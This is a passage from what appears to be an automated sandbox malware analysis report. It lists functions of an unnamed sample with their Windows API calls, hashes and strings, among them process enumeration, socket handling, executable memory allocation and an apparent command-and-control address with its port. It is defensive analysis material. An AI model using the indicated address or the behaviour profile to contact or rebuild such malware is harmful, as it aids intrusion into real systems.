Instruction Fuzzy Hash: D2F03074900644ABC704BF71CDCCA7EBBAAEF893587148D59E90987211DB38D44AEFA1

Function 03776050 Relevance: 9.1, APIs: 6, Instructions: 86processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0377607C
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,00000000), ref: 03776088
Process32FirstW.KERNEL32(00000000,00000000), ref: 037760B9
Process32NextW.KERNEL32(00000000,0000022C), ref: 0377610F
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 03776116

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memset
String ID:
API String ID: 2526126748-0
Opcode ID: 388b9ba65ec6bc47a5da01a7cb8afcf5094b7d7ee16c67fa854bfa2d829377b6
Instruction ID: 8242cf3445e89389d63d93b969c6c77433a60e832b84e3babe6503df6cc7ff69
Opcode Fuzzy Hash: 388b9ba65ec6bc47a5da01a7cb8afcf5094b7d7ee16c67fa854bfa2d829377b6
Instruction Fuzzy Hash: 9021B53160111CABDF20FF64DC99BEAB3A9EF19310F044799DD0A97285EB359A11C660

Function 02C632E0 Relevance: 9.0, APIs: 6, Instructions: 32synchronizationsleepCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 02C632F1
Sleep.KERNEL32(00000258), ref: 02C632FE
InterlockedExchange.KERNEL32(?,00000000), ref: 02C63306
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02C63312
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02C6331A
Sleep.KERNEL32(0000012C), ref: 02C6332B

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: ObjectSingleWait$Sleep$ExchangeInterlocked
String ID:
API String ID: 3137405945-0
Opcode ID: ca8f75170d32847590dfd7b574060c08877c27de45f3996b1c1277ab9a7b2478
Instruction ID: f44daa0004e5b87f278101630010836630985c3538b62a20c260317a278bb909
Opcode Fuzzy Hash: ca8f75170d32847590dfd7b574060c08877c27de45f3996b1c1277ab9a7b2478
Instruction Fuzzy Hash: 4CF082726443046BD710ABA9DC84F46F3A8EF85370B204B0DF221872D0CAB0E8058BA0

Function 03776690 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0377669B
CoCreateInstance.OLE32(037946FC,00000000,00000001,0379471C,?,?,?,?,?,?,?,?,?,?,0377588A), ref: 037766B2
SysFreeString.OLEAUT32(?), ref: 0377674C
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,?,0377588A), ref: 0377677D

Strings

FriendlyName, xrefs: 0377673B

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CreateFreeInitializeInstanceStringUninitialize
String ID: FriendlyName
API String ID: 841178590-3623505368
Opcode ID: ae5d2df0f5960ca19a5901344becab1e914ea51eea5f082251c51b302b269d92
Instruction ID: d549c421b8de3b784cecdde13776b3995c531f31f3584cfaa405a2d73bb72e48
Opcode Fuzzy Hash: ae5d2df0f5960ca19a5901344becab1e914ea51eea5f082251c51b302b269d92
Instruction Fuzzy Hash: 27314C75700609AFDB00EB99DC81EAEB7B9EF88704F148599E504EB255DA71ED02CBA0

Function 0377F707 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0377F721

Part of subcall function 0377F673: __FF_MSGBANNER.LIBCMT ref: 0377F68C
Part of subcall function 0377F673: __NMSG_WRITE.LIBCMT ref: 0377F693
Part of subcall function 0377F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76), ref: 0377F6B8

std::exception::exception.LIBCMT ref: 0377F756
std::exception::exception.LIBCMT ref: 0377F770
__CxxThrowException@8.LIBCMT ref: 0377F781

Strings

bad allocation, xrefs: 0377F74F

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: bad allocation
API String ID: 615853336-2104205924
Opcode ID: 07deae21b8db98310831a1c6a66b2e22a16b5e444c41016034b8d87c5b2c596e
Instruction ID: 969ae337cf999c895ce36b495e526b38fe6c0b0de8c008247b2875f1e564b690
Opcode Fuzzy Hash: 07deae21b8db98310831a1c6a66b2e22a16b5e444c41016034b8d87c5b2c596e
Instruction Fuzzy Hash: 65F028759003096FEF00FF64EE29A9E77E8AB40214F94455EE414DA191DB70CA05CF94

Function 03772D30 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 03772D5C
CancelIo.KERNEL32(?), ref: 03772D66
InterlockedExchange.KERNEL32(00000000,00000000), ref: 03772D6F
closesocket.WS2_32(?), ref: 03772D79
SetEvent.KERNEL32(00000001), ref: 03772D83

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 0a33f683cdfb380a2a6202ea7a25bbd85e88048cbd921c341c773a21686d590f
Instruction ID: ba7bb9720353917c3f59ea06304e6695f3620c74576d7d9a3cb469c513684a35
Opcode Fuzzy Hash: 0a33f683cdfb380a2a6202ea7a25bbd85e88048cbd921c341c773a21686d590f
Instruction Fuzzy Hash: EAF08C76100708BBC224AF54DD09F6677B8FB48B11F104B0DF69696685C6B4B5098BA0

Function 02C62D10 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 02C62D3C
CancelIo.KERNEL32(?), ref: 02C62D46
InterlockedExchange.KERNEL32(00000000,00000000), ref: 02C62D4F
closesocket.WS2_32(?), ref: 02C62D59
SetEvent.KERNEL32(00000001), ref: 02C62D63

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 8bd0fdc2c39833d558f301daefbe1ba677d7b9bda04fcfce4fb71925e1e9a7b1
Instruction ID: 52f12b1fa099a2ddbfd7d23497ec0f3afbf5502697c6cbad0e467f00a8d76112
Opcode Fuzzy Hash: 8bd0fdc2c39833d558f301daefbe1ba677d7b9bda04fcfce4fb71925e1e9a7b1
Instruction Fuzzy Hash: E6F03C76540700ABD3209B54DC49B6677B8FB89B51F504B59FA8296680C7B0B9088BE0

Function 02C66F17 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02C66F31

Part of subcall function 02C66E83: __FF_MSGBANNER.LIBCMT ref: 02C66E9C
Part of subcall function 02C66E83: __NMSG_WRITE.LIBCMT ref: 02C66EA3
Part of subcall function 02C66E83: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F), ref: 02C66EC8

std::exception::exception.LIBCMT ref: 02C66F66
std::exception::exception.LIBCMT ref: 02C66F80
__CxxThrowException@8.LIBCMT ref: 02C66F91

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: c23868b166ea9cc043d65622fb1861312c90d5d6ed2f04400c2b65aa4641cf2f
Instruction ID: ea5d3101783e424ae9d318e90aea146cb6bb983b3287f89f607723846c5ece53
Opcode Fuzzy Hash: c23868b166ea9cc043d65622fb1861312c90d5d6ed2f04400c2b65aa4641cf2f
Instruction Fuzzy Hash: 52F02D719001099EEB00EBF4D888B7E7BAF9B40714F24041AD408A6090DBB58B45DF41

Function 03773160 Relevance: 4.6, APIs: 3, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0377316B
InterlockedExchange.KERNEL32(?,00000001), ref: 03773183
GetCurrentThreadId.KERNEL32 ref: 0377322F

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CurrentThread$ExchangeInterlocked
String ID:
API String ID: 4033114805-0
Opcode ID: 771782bd376dd74581651d55bec6480e838d96cda39b3cf816e97f7ed160856f
Instruction ID: b525334461cfe9280307238acfe5c9d1857a40bb09a695862dfa00f5d77a93e0
Opcode Fuzzy Hash: 771782bd376dd74581651d55bec6480e838d96cda39b3cf816e97f7ed160856f
Instruction Fuzzy Hash: 55319F78200606AFEB14DF69C884A66B3E9FF44714B10C56DE81ACB615D731F842DBD0

Function 037711B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 037711E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 03771226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 03771255

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 9eea477d7ad238b1887659e87d7005f8eb332deb951a910a9d296b6ec1380449
Instruction ID: 1dc96ba659d35724229b9225d30e60ac1f3c65c4e06a4fc14b0cb00ad2510ba9
Opcode Fuzzy Hash: 9eea477d7ad238b1887659e87d7005f8eb332deb951a910a9d296b6ec1380449
Instruction Fuzzy Hash: 4A218E71B00709ABDF14EFAAD845B6EBBF8EF44705F4085A9E859A6640E630A8108740

Function 02C611B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 02C611E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02C61226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02C61255

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 73764d3fb8ed0509a14ea7b97043212be532da2f62c53e544ee1f2459a590aa1
Instruction ID: 47e3591437734e6537ac3a8c0808e176e7ac120a5507ddb6f9edbb5219fe1e24
Opcode Fuzzy Hash: 73764d3fb8ed0509a14ea7b97043212be532da2f62c53e544ee1f2459a590aa1
Instruction Fuzzy Hash: 2021D430E003099FDB149FA9DC89B6EF7F5FF40706F0085ADE949E2640E770A9148B50

Function 03771100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0377112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0377115F
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 03771192

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 263281c9e1341a81f3816f4ca32f867e02656c6f3b229984c6849d2050584415
Instruction ID: 1126c57367a063ddc37eb7ff94a21b793ade5f1bda0b23936f5486f013b9e839
Opcode Fuzzy Hash: 263281c9e1341a81f3816f4ca32f867e02656c6f3b229984c6849d2050584415
Instruction Fuzzy Hash: 3F119370A00708AFDF10EFA9D886B6EFBF8EF04705F4085A9E959E6640E674A9108B50

Function 02C61100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 02C6112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02C6115F
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02C61192

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: ca69ebfc2f811f21a82ee9d4a87c9804d2a470a99db2c8d96726202f13b87731
Instruction ID: 23cda91f343ad84a5b4efaef47097f88b9edc4abfda1360462b19195327791cd
Opcode Fuzzy Hash: ca69ebfc2f811f21a82ee9d4a87c9804d2a470a99db2c8d96726202f13b87731
Instruction Fuzzy Hash: E9119670E40709ABDB109FA9DC89B6EF7F8FF44706F008569ED59D2240E77099548750

Function 03779DE0 Relevance: 4.5, APIs: 3, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 03779E04
GdipDisposeImage.GDIPLUS(?), ref: 03779E18
GdipDisposeImage.GDIPLUS(?), ref: 03779E3B

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Gdip$DisposeImage$BitmapCreateFromStream
String ID:
API String ID: 800915452-0
Opcode ID: 6ee355fc893a39ce89cda24f1c5512ec5e33dd3b26bf2e5d1d78a3435c3491fa
Instruction ID: a26474d464633698aeff4f5fa12ce661d79292b56ba51b6043c45dfa114923d7
Opcode Fuzzy Hash: 6ee355fc893a39ce89cda24f1c5512ec5e33dd3b26bf2e5d1d78a3435c3491fa
Instruction Fuzzy Hash: A2F0A47290122DA78F10FF94D8448AEF778EB49611B00865AFD05AB340D7344B05CBD0

Function 03779AC0 Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0379FB64), ref: 03779ADC
GdiplusStartup.GDIPLUS(0379FB60,?,?), ref: 03779B15
LeaveCriticalSection.KERNEL32(0379FB64), ref: 03779B26

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterGdiplusLeaveStartup
String ID:
API String ID: 389129658-0
Opcode ID: 98ccecad9744003283d38618a7813f3a74f9809b4d11ab4d581d8072eb69b23b
Instruction ID: 48663266cf959f35be6744b03a29c24760da7b6427ab92631aea093d27d0aec6
Opcode Fuzzy Hash: 98ccecad9744003283d38618a7813f3a74f9809b4d11ab4d581d8072eb69b23b
Instruction Fuzzy Hash: 9FF0907194220DAFDF00EFE1E86A7EEB7B8F705316F50439AD90492245D7BA0149CFA1

Function 02C63200 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 15sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 02C63200

Strings

118.107.44.219, xrefs: 02C8026C
19091, xrefs: 02C80254

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Sleep
String ID: 118.107.44.219$19091
API String ID: 3472027048-838246116
Opcode ID: 9ea87c5ef0dcdad0ef8ab28e110aea98ae29ed0e74c75b05da43252c6351d325
Instruction ID: c160f10b7608576721941f53baf1d4097a1e32d294398dffc054f09d630ce3f4
Opcode Fuzzy Hash: 9ea87c5ef0dcdad0ef8ab28e110aea98ae29ed0e74c75b05da43252c6351d325
Instruction Fuzzy Hash: 2BD022B0A401218BBB28950188E8536B375FE8035C3680A28F88383280C2A46C0CDAA1

Function 0377F964 Relevance: 4.5, APIs: 3, Instructions: 11threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 0377F969

Part of subcall function 03783DE2: GetLastError.KERNEL32(00000001,00000000,0377F920,0377F6FC,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76), ref: 03783DE6
Part of subcall function 03783DE2: ___set_flsgetvalue.LIBCMT ref: 03783DF4
Part of subcall function 03783DE2: __calloc_crt.LIBCMT ref: 03783E08
Part of subcall function 03783DE2: DecodePointer.KERNEL32(00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76,00000000,00000000,?,03783F06), ref: 03783E22
Part of subcall function 03783DE2: GetCurrentThreadId.KERNEL32 ref: 03783E38
Part of subcall function 03783DE2: SetLastError.KERNEL32(00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76,00000000,00000000,?,03783F06), ref: 03783E50

__freeptd.LIBCMT ref: 0377F973

Part of subcall function 03783FA6: TlsGetValue.KERNEL32(?,?,037810F0,00000000,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03783FC7
Part of subcall function 03783FA6: TlsGetValue.KERNEL32(?,?,037810F0,00000000,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03783FD9
Part of subcall function 03783FA6: DecodePointer.KERNEL32(00000000,?,037810F0,00000000,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03783FEF
Part of subcall function 03783FA6: __freefls@4.LIBCMT ref: 03783FFA
Part of subcall function 03783FA6: TlsSetValue.KERNEL32(00000027,00000000,?,037810F0,00000000,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 0378400C

ExitThread.KERNEL32 ref: 0377F97C

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Value$DecodeErrorLastPointerThread$CurrentExit___set_flsgetvalue__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 4224061863-0
Opcode ID: fa6bba0e4a0819c9d698dc117b4b5120bafe0cba757d0a2ece7c0adcb024d0d7
Instruction ID: a18446dcb51674a5b7cac35df84adc5c54e42be978558057fc828081383ea2e2
Opcode Fuzzy Hash: fa6bba0e4a0819c9d698dc117b4b5120bafe0cba757d0a2ece7c0adcb024d0d7
Instruction Fuzzy Hash: AFC08C2C004308BBAB147736890C90A3A1C8D806107140110E8048D040DE28DC0184A0

Function 02C67156 Relevance: 4.5, APIs: 3, Instructions: 11threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 02C6715B

Part of subcall function 02C69896: GetLastError.KERNEL32(00000001,00000000,02C67112,02C66F0C,00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F), ref: 02C6989A
Part of subcall function 02C69896: ___set_flsgetvalue.LIBCMT ref: 02C698A8
Part of subcall function 02C69896: __calloc_crt.LIBCMT ref: 02C698BC
Part of subcall function 02C69896: DecodePointer.KERNEL32(00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F,00000000,00000000,?,02C699BA), ref: 02C698D6
Part of subcall function 02C69896: GetCurrentThreadId.KERNEL32 ref: 02C698EC
Part of subcall function 02C69896: SetLastError.KERNEL32(00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F,00000000,00000000,?,02C699BA), ref: 02C69904

__freeptd.LIBCMT ref: 02C67165

Part of subcall function 02C69A58: TlsGetValue.KERNEL32(?,?,02C67711,00000000,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69A79
Part of subcall function 02C69A58: TlsGetValue.KERNEL32(?,?,02C67711,00000000,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69A8B
Part of subcall function 02C69A58: DecodePointer.KERNEL32(00000000,?,02C67711,00000000,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69AA1
Part of subcall function 02C69A58: __freefls@4.LIBCMT ref: 02C69AAC
Part of subcall function 02C69A58: TlsSetValue.KERNEL32(00000025,00000000,?,02C67711,00000000,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69ABE

ExitThread.KERNEL32 ref: 02C6716E

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Value$DecodeErrorLastPointerThread$CurrentExit___set_flsgetvalue__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 4224061863-0
Opcode ID: 90ad55282cb3a93e9c525e02be2f411172c77f3eaab39ca0aa3236865801c83c
Instruction ID: 1e71de73bc8c45b87c428a29b889b518d08ce019139493e91afc4d83aaebf2d8
Opcode Fuzzy Hash: 90ad55282cb3a93e9c525e02be2f411172c77f3eaab39ca0aa3236865801c83c
Instruction Fuzzy Hash: F1C08C205402086B8B1037368C4C92A3A9E8E84345B904810B80881000DE30D8009990

Function 035F01CB Relevance: 3.3, APIs: 2, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 035F022B

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction ID: 356acae60e1b1e58dc8b73fab7ea4f92e4ade7f9201a28bf6f9450f51ac883f0
Opcode Fuzzy Hash: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction Fuzzy Hash: EAA14D74A00606EFDB14CFA9D884AAEF7B5FF48304B1C85A9E615D72A2D730E951CB90

Function 03773360 Relevance: 3.2, APIs: 2, Instructions: 151timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,00000000), ref: 03773413
_memmove.LIBCMT ref: 037734A5

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Time_memmovetime
String ID:
API String ID: 1463837790-0
Opcode ID: 8fdd0e42fa778971983f8415cc3cf240560d56fe80e8067dd0294c5d5afc4583
Instruction ID: e81499e784ecd6e7e3df8a6a1217b8043d90441fd39adc0e2248ba5ad8f27c02
Opcode Fuzzy Hash: 8fdd0e42fa778971983f8415cc3cf240560d56fe80e8067dd0294c5d5afc4583
Instruction Fuzzy Hash: B351D27A700205AFEB25DF69C8C4A7AB7A9BF48214758866CE9198B700DB31F851DBD0

Function 02C63350 Relevance: 3.2, APIs: 2, Instructions: 151timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,00000000), ref: 02C63403
